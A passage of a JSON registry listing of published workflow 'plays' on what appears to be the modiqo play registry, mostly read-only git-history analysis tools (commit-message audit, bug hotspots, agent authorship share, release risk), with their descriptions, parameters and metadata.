counted.","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:008d3cd0b93fdfa784138d9240a5b7260e4ed738855a0b32f37cf3f379631263","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":10,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/interview-story@0.1.3","reference":"lgoyal6/interview-story@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/interview-story@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/interview-story@0.1.3","name":"interview-story","title":"interview-story","description":"\"Tell me about this project\" is the question you have twenty seconds to answer well, and the version you improvise will not survive the follow-up. This builds, for each repository, the strongest 90-second story you can actually DEFEND - every sentence either a quote with its file and line, a figure computed from git, or an explicit ABSENT naming where it looked. Four sections: the problem, quoted from the README rather than paraphrased; the hardest technical decision, taken from a design doc or a sentence naming a direction away from one option toward another, never a generated characterisation; what it measured, from committed benchmark files, with every quantified README claim run through an evidenced/unsupported check; and what you would do differently, from TODOs and commits naming an abandoned approach. Repositories are then ranked by how defensible the story is. It would rather print ABSENT than invent a decision the code does not show. Executes nothing. Needs python3, bash and git.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-interview-prep","tool-git","effect-read-only","interview-prep","portfolio","resume-storytelling","defensible-claims","hardest-decision","benchmark-evidence","gitignored-evidence","todo-comments","abandoned-approach","defensibility-ranking","audience-job-seekers","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:00:26.561937+00:00","visibility":"public","quality_score":1,"size_bytes":61454,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the repository, or to a directory holding several. A relative path is refused, because a step runs in rote's own workspace rather than your shell directory and would read the wrong tree and write a confident story about it.","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"2","description":"How many directory levels below root to look for repositories. 1 finds root itself when root is a repository.","example":"2"},{"name":"top","type":"string","required":false,"default":"3","description":"How many full stories to print, strongest first, before the rest are listed as a one-line ranked index. Every repository is still analysed and still counted.","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:41c4dc4daefda450ec9ddc0fd05f974769cf2e7dafd62b8b929a51ff47d9765c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/commit-story@0.1.3","reference":"lgoyal6/commit-story@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/commit-story@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/commit-story@0.1.3","name":"commit-story","title":"commit-story","description":"Someone is about to read your git history: a reviewer, an interviewer, a future you. This audits the commit messages YOU wrote across every repository under a root and reports what that history actually communicates. Four classes. Subjects that say nothing (`fix`, `wip`, a filename). Subjects that just describe the diff. Repositories where a reader would have to open every diff. And the one this play exists for: a subject CONTRADICTED by what it touched - a `docs:` commit that rewrote production source, a `test:` heading over a large body of application code. On this machine the structural pass raised 4 candidates over 2,690 distinct commits, the content pass withdrew 2, and hand-reading found the remaining 2 real. Both rates print on every run. Read-only: the git wrapper takes an allow-list of query subcommands, so rebase, amend and push cannot be spelled through it. Needs git, python3 and bash. Offline, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-commit-message-audit","tool-git","effect-read-only","commit-message","git-history","conventional-commits","message-quality","subject-vs-diff","contradiction-check","code-review","history-readability","numstat","false-positive-rate","audience-developers","audience-interview-prep","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T00:59:30.024287+00:00","visibility":"public","quality_score":1,"size_bytes":70515,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory holding your repositories. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and a relative path would walk the wrong tree and report it clean.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for repositories. 1 finds root itself when root is a repository.","example":"4"},{"name":"days","type":"string","required":false,"default":"365","description":"How far back to read. Only commits authored in this many days are judged. 3650 is the maximum.","example":"365"},{"name":"emails","type":"string","required":false,"default":"","description":"Comma-separated git author addresses that are YOURS. Empty means they are resolved from your git configuration instead, per repository and global, and the number resolved is printed. Only commits whose author address matches one of these exactly are judged; nobody else's message is reported.","example":"you@example.com"},{"name":"max_repos","type":"string","required":false,"default":"400","description":"Upper bound on how many repositories are analysed. Anything past it is counted and reported as dropped rather than silently skipped.","example":"400"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f995a3f06123334c04a7b1d062c16dfac4c21fae1405fef5f0dd212d570f8ae2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":10,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/bug-hotspots@0.1.2","reference":"lgoyal6/bug-hotspots@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/bug-hotspots@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/bug-hotspots@0.1.2","name":"bug-hotspots","title":"bug-hotspots","description":"Every fix commit in your history is a confession about a file, and nobody ever counts them. This walks git history across every repository under an absolute root, decides which commits were corrective, and reports where defects actually cluster - then joins that to whether anything tests those files, so you get a short list of where the next bug will land and what is missing from each. Classifying a fix is the hard part, so the accuracy is measured rather than claimed. 434 real commit messages from this machine were hand-labelled; on the 120 held out and never looked at during development, precision is 0.969 and recall 0.838, against 0.953 and 0.744 for a naive `fix`-or-`bug` substring search. Exposure is corrected, because a file changed 400 times collects more fixes without being buggier: what is ranked is the 95% Wilson lower bound on the fix rate, age-weighted. Read-only: git runs behind a query-only allow-list and no address is printed. Needs git, python3, bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","code-quality","tool-git","effect-read-only","bug-hotspots","defect-density","fix-commits","churn","commit-classification","test-coverage-gap","risk-ranking","git-history","code-review-targeting","refactoring-priorities","technical-debt","audience-developers","audience-maintainers","audience-engineering-managers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T00:59:15.025289+00:00","visibility":"public","quality_score":1,"size_bytes":75056,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory holding your repositories. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and would walk the wrong tree and report it clean.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for repositories. 1 finds root itself when root is a repository. A directory that IS a repository is never descended into.","example":"4"},{"name":"half_life_days","type":"string","required":false,"default":"365","description":"How fast a fix stops counting. A fix contributes 0.5^(age/half_life), so at this many days old it is worth half a fix. Raising it promotes files that were bad years ago; lowering it promotes whatever was fixed last week. It changes the ORDER, never a count, and the raw counts are printed beside the score.","example":"365"},{"name":"since_days","type":"string","required":false,"default":"0","description":"Ignore commits older than this many days. 0 means the whole history, which is the honest default. Must be 0 or at least 90: under a quarter of history most files have no fix at all and everything looks calm.","example":"0"},{"name":"top","type":"string","required":false,"default":"8","description":"How many ranked files to print per repository. Never changes a score or a rank, only how much of the ranking is shown; the rest stay in the JSON result.","example":"8"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:75572ae9c6ce4a32fb45643548e2c792cad096fc77a09c4a52e3c3c6c5fea342","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/agent-vs-me@0.1.2","reference":"lgoyal6/agent-vs-me@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/agent-vs-me@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/agent-vs-me@0.1.2","name":"agent-vs-me","title":"agent-vs-me","description":"Nobody actually knows what share of their shipped code an agent wrote, and the number gets quoted anyway. This joins the session records your coding agents already write to disk against the git history of the directories those sessions ran in, and answers it twice, because they are two different questions: what share of your COMMITS were made while an agent was demonstrably working in that repository, and what share of the LINES STILL STANDING in your tree came from such a commit, read off `git blame -w`. A commit counts only inside an activity BURST of a session that actually invoked a file-writing tool, not inside the session envelope: a session left open overnight claims only the minutes it worked. Those two guards cut a naive 634 agent commits to 591 here, 6.8% of the claim. In-session is an upper bound and the report says so: a human typing by hand inside a session window is counted as agent, and nothing can see the difference. Needs python3, git and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-observability","engineering-workflows","job-agent-authorship-attribution","tool-claude-code","tool-codex","effect-read-only","agent-authorship","authorship-share","git-blame","surviving-lines","code-survival","commit-attribution","attribution-honesty","unattributed-work","session-transcripts","git-history","coding-agent","human-vs-agent","code-churn","audience-developers","audience-engineering-managers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-observability","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T00:59:05.345647+00:00","visibility":"public","quality_score":1,"size_bytes":44203,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["plan","verify","analyze","discover","sessions","selfcheck"]},"parameters":[{"name":"claude_root","type":"string","required":true,"description":"Absolute path to your Claude Code session store, the directory holding one folder per project","example":"/Users/you/.claude/projects"},{"name":"codex_root","type":"string","required":false,"default":"auto","description":"auto to use ~/.codex/sessions when it exists, off to skip Codex entirely, or an ABSOLUTE path to a Codex session store","example":"/Users/you/.codex/sessions"},{"name":"window_days","type":"string","required":false,"default":"0","description":"Only read transcripts modified in the last N days. 0 means everything on disk, which is the default because a shorter window shrinks the horizon and makes MORE of your history unattributable","example":"90"},{"name":"idle_minutes","type":"string","required":false,"default":"20","description":"A gap longer than this splits one session into two activity bursts. This is what stops a session left open overnight from claiming a commit you typed by hand at hour eight","example":"30"},{"name":"lead_minutes","type":"string","required":false,"default":"5","description":"How long BEFORE a burst starts a commit still counts as that burst's","example":"10"},{"name":"grace_minutes","type":"string","required":false,"default":"20","description":"How long AFTER a burst ends a commit still counts as that burst's. The report re-runs the whole classification at 0 and at 120 so you can see whether this knob is carrying the answer","example":"45"},{"name":"repo_labels","type":"string","required":false,"default":"digest","description":"digest for a stable anonymous handle per repository, basename for the directory name, full for the whole path. digest by default because a directory name can name an employer or an unannounced project","example":"basename"},{"name":"max_blame_kb","type":"string","required":false,"default":"512","description":"Files larger than this are not blamed. Skipped files are counted and reported rather than quietly dropped from the denominator","example":"1024"},{"name":"max_repo_lines","type":"string","required":false,"default":"400000","description":"Per-repository ceiling on blamed lines. Reaching it is reported as a coverage shortfall with the number of files left unblamed","example":"1000000"},{"name":"top_rows","type":"string","required":false,"default":"12","description":"How many repositories and how many file types to name in the report","example":"20"},{"name":"max_shards","type":"string","required":false,"default":"8","description":"How many parallel shards to split the transcript corpus into. Shards split by transcript directory, never mid-directory, so one session is never divided between two shards","example":"12"},{"name":"max_repo_shards","type":"string","required":false,"default":"12","description":"How many parallel shards to split the repositories into for the git and blame pass. A repository is never split across two shards","example":"20"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:23b743a7f8c2bc70405c44569e99661f27ef9d1b888b8f66f732ca8a715300f4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":1,"fan_out":8,"for_each_steps":3,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/release-risk@0.1.0","reference":"lgoyal6/release-risk@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/release-risk@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/release-risk@0.1.0","name":"release-risk","title":"release-risk","description":"You are about to cut a release and nobody can tell you what in it is actually risky. This answers that from the repository itself, joining five sources nobody joins: WHAT CHANGED in the range (commits and files, classified feature/fix/refactor/dependency/config/generated/migration), WHERE IT LANDED relative to the project's own defect record (fix commits over changes per file, as the 95% Wilson lower bound, age-weighted so a file that was a disaster two years ago and quiet since does not top the table), WHO OWNS IT (distinct author identities on that file, keyed on email, never printed), WHAT IT REACHES (a RESOLVED import graph over Python, JS/TS, Go, C/C++ and Rust - a three-line change to a module 155 files include ships further than a 400-line change to a leaf), and WHETHER A TEST REACHES IT AT ALL (a bounded forward walk from every test file, whose DEPTH is reported: a test three hops away is weaker evidence than one that imports the file). A sixth stage reports what no per-file score expresses - a migration added or modified in place, an endpoint that stopped registering, a dependency across a major boundary, a changed operational default, a generated file edited by hand - each quoting the diff line it came from. EVERY CLAIM CITES ITS EVIDENCE: the file, the commit, the count and its denominator, and which signal produced it. THE WEIGHTS ARE THE HARD PART AND THEY ARE MEASURED, NOT ASSERTED. The ranking is recomputed under SIX weightings and what leads the report is the set of files that survive ALL of them; the mean pairwise overlap of the top ten and the worst rank movement are printed, and when the overlap is low the play SAYS the composite is an opinion and puts the per-signal columns first. A missing signal is never zero risk: it is dropped from the mean, its weight removed from the denominator, and only files sharing the same number of readable signals are ranked against each other, because a mean over three signals is not comparable with one over five. A FOURTH STAGE RE-DECIDES the headline findings by routes sharing NO CODE with the analyzer: reach re-asked as raw text through git grep with no module map, the fix count re-derived from raw commit objects via git cat-file under a deliberately cruder rule, ownership recounted by git shortlog keyed on NAME where the analyzer keyed on email, and every claimed test gap hunted again by name across test paths - CONFIRMED, CONTESTED, UNCERTAIN or UNAVAILABLE, printed beside the claim it disputes. MEASURED, not claimed: on pipx, tmux, fava, gstack and openpilot, 22 hand-checked claims were 22 correct, printed with its denominator and the 0.85 Wilson lower bound at n=22. Before seven false-positive gates it was 0.917; each gate names the rule and the SELF-CHECK CASE that guards it, and the self-check fails if a named case is gone. The base-name grep this replaces was measured too: over 40 changed files it inflates reach by a median of 2x and up to 74x, 921 files merely mentioning the names against 381 actually importing them. Nothing degrades to a clean result. A shallow clone, one commit, no tags, no tests, a language whose imports are not resolved, a relative root: each produces a labelled UNKNOWN naming what was missing while the other signals still run - six shallow clones here returned NO RELEASE RANGE, not a clean scan. Cites rather than recomputes lgoyal6/bus-factor-one, migration-guard, dependency-reach, test-gap-map and bug-hotspots. Different question from shambhavi/change-lens, which greps a changed file's base name across the tree; sakshamsai26/dependency-upgrade-impact-mapper, which starts from one named package; and bhanu82/changelog-tag-guard, which checks the CHANGELOG against the tags. Self-check: 89 cases, 40 negative, 11 rule breaks all caught. READ-ONLY BY CONSTRUCTION: git runs behind a query-only allow-list with tag, commit and push absent; no email address is printed; evidence lines are redacted on the KEY NAME. Needs git and python3.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-release-management","tool-git","effect-read-only","git","release","release-readiness","risk-ranking","change-impact","blast-radius","defect-history","bus-factor","test-coverage-gap","import-graph","migrations","dependency-bumps","api-endpoints","config-drift","weighting-sensitivity","evidence-cited","audience-developers","audience-maintainers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T00:38:31.417181+00:00","visibility":"public","quality_score":1,"size_bytes":61387,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":8,"names":["rank","index","reach","verify","history","process","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the git repository whose release you are about to cut","example":"/Users/you/your-repo"},{"name":"range","type":"string","required":false,"default":"auto","description":"auto (since the last tag reachable from HEAD), a tag or branch name, or an explicit A..B","example":"auto"},{"name":"top","type":"string","required":false,"default":"10","description":"How many ranked files to print","example":"10"},{"name":"half_life_days","type":"string","required":false,"default":"365","description":"Half-life in days for age-weighting a file's past fixes","example":"365"},{"name":"max_files","type":"string","required":false,"default":"400","description":"Cap on how many changed files get a deep per-file history and reach read","example":"400"},{"name":"fallback_commits","type":"string","required":false,"default":"50","description":"Window size used only when no tag and no default branch can supply a boundary","example":"50"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d397e85921a916441e5ae77649052ab085d846012e01c9d379c5f0d023322c0f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":3,"fan_out":6,"for_each_steps":3,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/vedang/session-handoff@0.1.0","reference":"vedang/session-handoff@0.1.0","uri":"https://play.modiqo.ai/vedang/session-handoff@0.1.0","manifest_uri":"https://play.modiqo.ai/vedang/session-handoff@0.1.0","name":"session-handoff","title":"session-handoff","description":"Switching between AI harnesses mid-project loses everything: Claude Code does not know what Codex did, OpenCode does not know what either of them decided. This play sweeps the LOCAL session stores of Claude Code, Codex, OpenCode and Hermes for sessions belonging to THIS project, extracts where each harness left off (last ask, files in flight, recency), joins it with the project's git state, and renders one uniform handoff brief plus a paste-ready re-entry block for the next session in any harness. One command, any harness order. Discipline: transcript excerpts are SECRET-MASKED before they leave the parser (sk-..., ghp_..., AKIA..., JWTs, PEM blocks become [MASKED:family]) with the invariant proven by bundled self-check on every run; a harness with no store, no matching session, or unreadable records is reported ABSENT/UNREADABLE - never guessed, never silently skipped; Hermes sqlite stores are matched at index level only and disclosed as such. Read-only unless write_handoff=true, which writes exactly one file (HANDOFF.md, refuses overwrite). Tested live on real multi-harness projects (3 harnesses matched for one research repo). Needs only python3.","owner":{"kind":"user","slug":"vedang"},"registry_organization":"vedang","tags":["domain-agent-operations","job-session-handoff","audience-developers","effect-read-only","cross-harness"],"primary_domain":"domain-agent-operations","author":"vedang","version":"0.1.0","published_at":"2026-09-06T00:20:12.847891+00:00","visibility":"public","quality_score":1,"size_bytes":13430,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["brief","validate","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the project whose cross-harness history you want","example":"/Users/you/src/my-project"},{"name":"write_handoff","type":"string","required":false,"default":"false","description":"true writes the re-entry brief to <root>/HANDOFF.md (refuses to overwrite); false keeps the play fully read-only","example":"false"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c1dfc89f091bc25521e843d0cda3c1644a7a5653a3168a460410262593002603","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rusty-chirag/fetch-launchdarkly-feature-flag-information@0.0.1","reference":"rusty-chirag/fetch-launchdarkly-feature-flag-information@0.0.1","uri":"https://play.modiqo.ai/rusty-chirag/fetch-launchdarkly-feature-flag-information@0.0.1","manifest_uri":"https://play.modiqo.ai/rusty-chirag/fetch-launchdarkly-feature-flag-information@0.0.1","name":"fetch-launchdarkly-feature-flag-information","title":"fetch-launchdarkly-feature-flag-information","description":"Fetches a LaunchDarkly feature flag and returns its configuration, targeting information, variations, prerequisites, and creation and modification details.","owner":{"kind":"user","slug":"rusty-chirag"},"registry_organization":"rusty-chirag","tags":["typescript","launchdarkly","feature-flags"],"primary_domain":"domain-uncategorized","author":"rusty-chirag","version":"0.0.1","published_at":"2026-09-05T23:43:02.471064+00:00","visibility":"public","quality_score":0.875,"size_bytes":5701,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["get_audit_log","get_feature_flag","auth_launchdarkly","format_audit_spec"]},"parameters":[{"name":"project_key","type":"string","required":true,"description":"LaunchDarkly project key","example":"sample-project"},{"name":"environment_key","type":"string","required":true,"description":"LaunchDarkly environment key","example":"staging"},{"name":"feature_flag_key","type":"string","required":true,"description":"LaunchDarkly feature flag key","example":"enable-beta-feature"}],"execution":{"adapters":[{"id":"rusty-chirag/launchdarkly","name":"launchdarkly","version":null,"credential_status":"required"},{"id":"launchdarkly","name":"launchdarkly","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3358f9f3a3580751dacd7784f745bb9790417296c16d683c944266fb19ede47d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":2,"shell":1,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[{"adapter":"launchdarkly","steps":3,"methods":["getAuditLogEntries","getFeatureFlag"],"display_name":"launchdarkly","host":"app.launchdarkly.com","kind":"rest","tools":403,"fingerprint":"mcp_2qejDmo6dMYfmYLu794ZvbtMRB3x","source":"rusty-chirag/launchdarkly","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":403},"cost":{"api_tokens":11179,"context_tokens":1291,"exploration_ms":5474,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/dhiran4/redirect-doctor@0.1.1","reference":"dhiran4/redirect-doctor@0.1.1","uri":"https://play.modiqo.ai/dhiran4/redirect-doctor@0.1.1","manifest_uri":"https://play.modiqo.ai/dhiran4/redirect-doctor@0.1.1","name":"redirect-doctor","title":"redirect-doctor","description":"Produces an evidence-backed expected-versus-generated-versus-reachable matrix for OAuth callbacks, password reset, email verification, magic links, and mobile deep links in Next.js and Expo projects.","owner":{"kind":"user","slug":"dhiran4"},"registry_organization":"dhiran4","tags":["redirects","oauth","auth","deep-links","nextjs","expo","python","typescript"],"primary_domain":"domain-uncategorized","author":"dhiran4","version":"0.1.1","published_at":"2026-09-05T22:17:14.475158+00:00","visibility":"public","quality_score":1,"size_bytes":7310,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["audit"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Repository root; only bounded source and public configuration files are read"},{"name":"origins","type":"string","required":true,"description":"Comma-separated local, preview, staging, and production origins supplied by the caller"},{"name":"mobile_scheme","type":"string","required":false,"description":"Optional expected app URL scheme"},{"name":"include_live_probes","type":"boolean","required":false,"default":"true","description":"Probe only supplied public HTTP(S) destinations with read-only HEAD/GET requests"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f101b9a21d18b505a8298624898cb0c3a04001b182047f066c33c6c78aa28584","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dhiran4/launch-truth@0.1.2","reference":"dhiran4/launch-truth@0.1.2","uri":"https://play.modiqo.ai/dhiran4/launch-truth@0.1.2","manifest_uri":"https://play.modiqo.ai/dhiran4/launch-truth@0.1.2","name":"launch-truth","title":"launch-truth","description":"Compares websites, README files, documentation, pricing pages, and launch listings for source-backed contradictions in product identity, promise, version, pricing, availability, CTA destinations, and trust links.","owner":{"kind":"user","slug":"dhiran4"},"registry_organization":"dhiran4","tags":["launch","consistency","pricing","cta","evidence","python","typescript"],"primary_domain":"domain-uncategorized","author":"dhiran4","version":"0.1.2","published_at":"2026-09-05T22:17:08.453504+00:00","visibility":"public","quality_score":1,"size_bytes":15397,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["parse_sources","analyze_sources"]},"parameters":[{"name":"sources","type":"string","required":true,"description":"JSON array of URL/path strings or {label,source} objects; semicolon/newline-separated strings are also accepted (2-12 sources)"},{"name":"expected_name","type":"string","required":false,"description":"Optional canonical product name; deviations are reported as contradictions"},{"name":"expected_version","type":"string","required":false,"description":"Optional canonical release/version identifier; source-backed deviations are reported as contradictions"},{"name":"check_cta_targets","type":"boolean","required":false,"default":"true","description":"Follow the primary CTA with a read-only GET to record redirects and 